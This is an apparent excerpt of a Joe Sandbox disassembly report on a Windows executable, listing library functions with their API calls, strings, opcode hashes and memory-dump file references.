Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: 2a7f0904e5ec1897560545d2159a663e9c273eaf1fea03a0d1ae7df506dc6c73
Instruction ID: c8e93d05515e19149e5f5d8be723abdc9186eaa553b192c22cafc142c2e45e4b
Opcode Fuzzy Hash: 2a7f0904e5ec1897560545d2159a663e9c273eaf1fea03a0d1ae7df506dc6c73
Instruction Fuzzy Hash: 44217362B08A8A81EB50EB15F81026AE361FBC6BC4FD84132DB5CD3B69EF3CD5458711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BB710 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7E54BB71F
FlsGetValue.KERNEL32 ref: 00007FF7E54BB734
FlsSetValue.KERNEL32 ref: 00007FF7E54BB755
FlsSetValue.KERNEL32 ref: 00007FF7E54BB782
FlsSetValue.KERNEL32 ref: 00007FF7E54BB793
FlsSetValue.KERNEL32 ref: 00007FF7E54BB7A4
SetLastError.KERNEL32 ref: 00007FF7E54BB7BF

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5e25a57dc3899cb5d9e1114fbc8c557aa55031a2469902f6cab5e8a78f8e35b9
Instruction ID: d78a5de5a6a5d540bdbd9200185372039301ca424744c2e32b2eac66d0a3efc2
Opcode Fuzzy Hash: 5e25a57dc3899cb5d9e1114fbc8c557aa55031a2469902f6cab5e8a78f8e35b9
Instruction Fuzzy Hash: 3E216D34B0864A42FAE477B15675339E2819F46FB0F904736D93EC66C6DE3CA4094723

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C85BC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7E54C85ED
GetLastError.KERNEL32 ref: 00007FF7E54C85F9
CloseHandle.KERNEL32 ref: 00007FF7E54C8611
CreateFileW.KERNEL32 ref: 00007FF7E54C863C
WriteConsoleW.KERNEL32 ref: 00007FF7E54C865B

Strings

CONOUT$, xrefs: 00007FF7E54C861D

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 47774de373198f8681994077b4026dd9a590ed4534763da2009e0dd4878e84a9
Instruction ID: f9c7b761259880a2c4634206408801b7262c04891d0a38b2435f8ed9b5572ea9
Opcode Fuzzy Hash: 47774de373198f8681994077b4026dd9a590ed4534763da2009e0dd4878e84a9
Instruction Fuzzy Hash: 4611D321B18A4586F750AB02E864329F3A0FB89FE0F900236DA5EC77A4CF3CE4188751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BB888 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7E54B54CD,?,?,?,?,00007FF7E54BF1BF,?,?,00000000,00007FF7E54BB9A6,?,?,?), ref: 00007FF7E54BB897
FlsSetValue.KERNEL32(?,?,?,00007FF7E54B54CD,?,?,?,?,00007FF7E54BF1BF,?,?,00000000,00007FF7E54BB9A6,?,?,?), ref: 00007FF7E54BB8CD
FlsSetValue.KERNEL32(?,?,?,00007FF7E54B54CD,?,?,?,?,00007FF7E54BF1BF,?,?,00000000,00007FF7E54BB9A6,?,?,?), ref: 00007FF7E54BB8FA
FlsSetValue.KERNEL32(?,?,?,00007FF7E54B54CD,?,?,?,?,00007FF7E54BF1BF,?,?,00000000,00007FF7E54BB9A6,?,?,?), ref: 00007FF7E54BB90B
FlsSetValue.KERNEL32(?,?,?,00007FF7E54B54CD,?,?,?,?,00007FF7E54BF1BF,?,?,00000000,00007FF7E54BB9A6,?,?,?), ref: 00007FF7E54BB91C
SetLastError.KERNEL32(?,?,?,00007FF7E54B54CD,?,?,?,?,00007FF7E54BF1BF,?,?,00000000,00007FF7E54BB9A6,?,?,?), ref: 00007FF7E54BB937

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 941158fb4e6d3a9375e13d6d10033e8ffcdbbced4d4dd5e625aa307a16b34608
Instruction ID: 09552c07ac3e05aa96cc3c5ef0190f9309c47e82785539b280f4deec769b11fb
Opcode Fuzzy Hash: 941158fb4e6d3a9375e13d6d10033e8ffcdbbced4d4dd5e625aa307a16b34608
Instruction Fuzzy Hash: 81115E31F0864A42FA9477B155A5339E2915F46FB0FD40736D82EC66D6DE3CA4094723

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54AD778 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7E54AD7A3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7E54AD838
RtlUnwindEx.KERNEL32 ref: 00007FF7E54AD887

Strings

f, xrefs: 00007FF7E54AD7B6
csm, xrefs: 00007FF7E54AD81E

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: c8f7f253a213423ff5db8842e39d1181b4fa0cc0edf0f0e27fe70a45a9ca17df
Instruction ID: ffc01495ad203b2f523e9426b83d8cbe64ac92c2accb63a957c1c6a5082e8ed9
Opcode Fuzzy Hash: c8f7f253a213423ff5db8842e39d1181b4fa0cc0edf0f0e27fe70a45a9ca17df
Instruction Fuzzy Hash: BF51F832B192068AE794FF11E414B29B799FB45F94F908036DD5E8774AEF38E848C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A2600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF7E54A27EF), ref: 00007FF7E54A2638
DialogBoxIndirectParamW.USER32 ref: 00007FF7E54A26FC
DeleteObject.GDI32 ref: 00007FF7E54A272F
DestroyIcon.USER32 ref: 00007FF7E54A2741

Strings

Unhandled exception in script, xrefs: 00007FF7E54A2668

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: ef2f79dabe8b940bf64869f24e404b0ac86445532df2e67e8084f44f9f65f5c2
Instruction ID: 26b710ae9e2aefb70b112549b5c693cd661e08e6476343b836d2975bb990e6f0
Opcode Fuzzy Hash: ef2f79dabe8b940bf64869f24e404b0ac86445532df2e67e8084f44f9f65f5c2
Instruction Fuzzy Hash: C431553261968585EB50EF61E8652F9B360FF89B84F800136EA4D87B5ADF3CD109C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A29E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7E54A87F2,?,?,?,?,?,?,?,?,?,?,?,00007FF7E54A101D), ref: 00007FF7E54A2A14

Part of subcall function 00007FF7E54A8560: GetLastError.KERNEL32(00000000,00007FF7E54A2A5E,?,?,?,?,?,?,?,?,?,?,?,00007FF7E54A101D), ref: 00007FF7E54A8587
Part of subcall function 00007FF7E54A8560: FormatMessageW.KERNEL32 ref: 00007FF7E54A85B6

Part of subcall function 00007FF7E54A8AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7E54A2ABB), ref: 00007FF7E54A8B1A

MessageBoxW.USER32 ref: 00007FF7E54A2AF0
MessageBoxA.USER32 ref: 00007FF7E54A2B0C

Strings

%s%s: %s, xrefs: 00007FF7E54A2A6B
Fatal error detected, xrefs: 00007FF7E54A2AC6, 00007FF7E54A2AFE

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: c01ac0bbfceecfac493be67ae1d6a2211250b6a817a0c50f994bc812b65e1c92
Instruction ID: 14aafc5252db1fa837362e72bdcb0001d803a7536e59d43c79f8105663500bc3
Opcode Fuzzy Hash: c01ac0bbfceecfac493be67ae1d6a2211250b6a817a0c50f994bc812b65e1c92
Instruction Fuzzy Hash: 8D31687262868991E770EB10E4617DAA364FF85BC4FC05037E68D83A5ADF3CD609CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BA018 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7E54BA03D
GetProcAddress.KERNEL32 ref: 00007FF7E54BA053
FreeLibrary.KERNEL32 ref: 00007FF7E54BA07A

Strings

CorExitProcess, xrefs: 00007FF7E54BA04C
mscoree.dll, xrefs: 00007FF7E54BA034

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: bbe3d75c1d18d9b252fc65a249d413b32bc9fbcf71b4c61f8ce4d80949566840
Instruction ID: 9c2d1dbccc3b7483f1b1b509454ae77130405ecc4e679a851ca08d56f5fbbfdb
Opcode Fuzzy Hash: bbe3d75c1d18d9b252fc65a249d413b32bc9fbcf71b4c61f8ce4d80949566840
Instruction Fuzzy Hash: BCF04461A0970A41FB506B55E464375A360AF86F61FD40236D56D851E4CF3CD44CC362

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C9C40 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7E54C9C68
_set_statfp.LIBCMT ref: 00007FF7E54C9C83
_set_statfp.LIBCMT ref: 00007FF7E54C9C9F
_set_statfp.LIBCMT ref: 00007FF7E54C9CDB

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction ID: 5ec232ea705c7561cb5172991ca8bf27e7371e944f4f7b652da135487edd6c10
Opcode Fuzzy Hash: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction Fuzzy Hash: C2119432E1CA0B21F6543129E47237594E06FD7B74E840636E56F877EACE3C78484226

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BB950 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7E54BAB67,?,?,00000000,00007FF7E54BAE02,?,?,?,?,?,00007FF7E54B30CC), ref: 00007FF7E54BB96F
FlsSetValue.KERNEL32(?,?,?,00007FF7E54BAB67,?,?,00000000,00007FF7E54BAE02,?,?,?,?,?,00007FF7E54B30CC), ref: 00007FF7E54BB98E
FlsSetValue.KERNEL32(?,?,?,00007FF7E54BAB67,?,?,00000000,00007FF7E54BAE02,?,?,?,?,?,00007FF7E54B30CC), ref: 00007FF7E54BB9B6
FlsSetValue.KERNEL32(?,?,?,00007FF7E54BAB67,?,?,00000000,00007FF7E54BAE02,?,?,?,?,?,00007FF7E54B30CC), ref: 00007FF7E54BB9C7
FlsSetValue.KERNEL32(?,?,?,00007FF7E54BAB67,?,?,00000000,00007FF7E54BAE02,?,?,?,?,?,00007FF7E54B30CC), ref: 00007FF7E54BB9D8

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 4fc6ccaa14371e387e5c22fb95057e46c3ade10dd54edcd3ce0e48e5b46d1de5
Instruction ID: 8715d4e08a9d70b9bb0bda0e8ea4ea282a13f40245e8f40a914ae26ddc2ab92e
Opcode Fuzzy Hash: 4fc6ccaa14371e387e5c22fb95057e46c3ade10dd54edcd3ce0e48e5b46d1de5
Instruction Fuzzy Hash: E5115E31B0824A42FAD877A69971379E2415F46FB0E844336E86DC67C6DE3CB4498622

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BB7E4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7E54BB7F5
FlsSetValue.KERNEL32 ref: 00007FF7E54BB814
FlsSetValue.KERNEL32 ref: 00007FF7E54BB83C
FlsSetValue.KERNEL32 ref: 00007FF7E54BB84D
FlsSetValue.KERNEL32 ref: 00007FF7E54BB85E

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 64fe73475c7f3c5e3ff0e30dd8e21900901c314ca9004384e47b330d372873f3
Instruction ID: b26ef00d69bc4603e3e9f1b87ed23aa5c9ae3ab92e963ec50c2a361080b881da
Opcode Fuzzy Hash: 64fe73475c7f3c5e3ff0e30dd8e21900901c314ca9004384e47b330d372873f3
Instruction Fuzzy Hash: 2D11E330E0920F46F9E876B25875379A2815F46B70E94073AD92ECA2D3DD3CB8098623

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B64B4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B64F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B661A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B66D0

Strings

verbose, xrefs: 00007FF7E54B64C4

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: ad3fface7d4b2ce3aa9510f497705372120eac90acd968bb25d3a192cbea6c12
Instruction ID: 76613adec72fc1315ec8586c5b65ed203d4635528a7ccf7f9be9453a995f89c5
Opcode Fuzzy Hash: ad3fface7d4b2ce3aa9510f497705372120eac90acd968bb25d3a192cbea6c12
Instruction Fuzzy Hash: 1D91D432A08E4A41F7A1AAA9D47037DB7A1AB42F54FC44137DA5D873C5DF3CE4498322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C05A8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C0887

Part of subcall function 00007FF7E54C69C4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C69E1

Strings

ccs, xrefs: 00007FF7E54C07C2
UTF-8, xrefs: 00007FF7E54C0806
UTF-16LEUNICODE, xrefs: 00007FF7E54C0825

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 1a54e2a2b62d6839c513ace75884cea9e48035532f3c44be9a18c4b4dcf643eb
Instruction ID: 2a1ccf5601d7a5a7afcba8f6926ecee2cd3c6489a071df866432f3577735945c
Opcode Fuzzy Hash: 1a54e2a2b62d6839c513ace75884cea9e48035532f3c44be9a18c4b4dcf643eb
Instruction Fuzzy Hash: 1781C671E0920A85F76ABF29813437CB690AB93F44FD58037DA0DD7295CA3DE5098B63

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54AEFD8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7E54AF024
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7E54AF073

Strings

MOC, xrefs: 00007FF7E54AF038
RCC, xrefs: 00007FF7E54AF041

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 37ce56c1d967fba8f41503b71a699ba51a6fbc199d8f022e66d4a2d7a57293db
Instruction ID: 8b939cad5a160bb237d2f39b07c08ba8edb69273cbc08a0a43db387f532425c7
Opcode Fuzzy Hash: 37ce56c1d967fba8f41503b71a699ba51a6fbc199d8f022e66d4a2d7a57293db
Instruction Fuzzy Hash: 2E61E037A08B498AE750DF65D0803ADB7A0FB49B88F444222EF4D53B96EF38E448C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54AF334 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7E54AF35C
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7E54AF444

Strings

csm, xrefs: 00007FF7E54AF496
csm, xrefs: 00007FF7E54AF37E

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 80d5d2ed719ea387a00afc8e5c38e85421d4b0de11d669121429011e6c75d481
